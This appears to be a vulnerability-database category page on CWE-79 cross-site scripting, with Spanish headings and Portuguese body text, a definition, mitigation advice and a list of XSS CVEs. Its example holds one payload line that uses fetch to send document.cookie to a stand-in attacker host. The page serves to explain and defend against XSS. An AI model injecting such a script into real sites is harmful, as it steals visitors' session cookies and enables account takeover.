Fallos del tipo CWE-79

29.825 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-29805HIGHWordPress Shipping with Venipak for WooCommerce plugin <= 1.19.5 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-54687MEDIUMVtiger CRM v.6.1 and before is vulnerable to Cross Site Scripting (XSS) via the Documents module and function uploadAndSaveFile in CRMEntityEPSS 0.4%CVE-2024-57488MEDIUMCode-Projects Online Car Rental System 1.0 is vulnerable to Cross Site Scripting (XSS) via the vehicalorcview parameter in /admin/edit-vehicEPSS 0.4%CVE-2026-47685HIGHFOGProject has stored XSS via unauthenticated inventory service renders unescaped in Host Management pageEPSS 0.4%CVE-2025-7818MEDIUMPHPGurukul Apartment Visitors Management System HTTP POST Request category.php cross site scriptingEPSS 0.4%CVE-2024-31256HIGHWordPress WebinarPress plugin <= 1.33.10 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-30200HIGHWordPress BEAR plugin <= 1.1.4.2 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2026-88057MEDIUMAngular: Sanitization bypass via directive host bindings on concrete host elements in @angular/core and @angular/compilerEPSS 0.4%CVE-2024-13351HIGHSocial proof testimonials and reviews by Repuso <= 5.20 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.4%CVE-2024-29806HIGHWordPress ReDi Restaurant Reservation plugin <= 24.0128 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2025-1159MEDIUMCampCodes School Management Software academic-calendar cross site scriptingEPSS 0.4%CVE-2023-5096MEDIUMHTML filter and csv-file search <= 2.7 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.4%CVE-2024-12239MEDIUMPowerPack Lite for Beaver Builder <= 1.3.0.5 - Reflected Cross-Site Scripting via Navigate ParameterEPSS 0.4%CVE-2024-13699MEDIUMQi Addons For Elementor <= 1.8.7 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.4%CVE-2025-7817MEDIUMPHPGurukul Apartment Visitors Management System HTTP POST Request bwdates-reports.php cross site scriptingEPSS 0.4%CVE-2022-23791MEDIUMXSS in Firmanet Software and Technology Customer Relation ManagerEPSS 0.4%CVE-2024-1586MEDIUMSchema & Structured Data for WP & AMP <= 1.26 - Authenticated (Custom) Stored Cross-Site ScriptingEPSS 0.4%CVE-2025-12484HIGHGiveaways and Contests by RafflePress – Get More Website Traffic, Email Subscribers, and Social Followers <= 1.12.19 - Unauthenticated Stored Cross-Site ScriptingEPSS 0.4%CVE-2024-8236MEDIUMElementor Website Builder – More than Just a Page Builder <= 3.25.7 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.4%CVE-2026-35574HIGHChurchCRM has a Stored XSS in Person Profile - Add a NoteEPSS 0.4%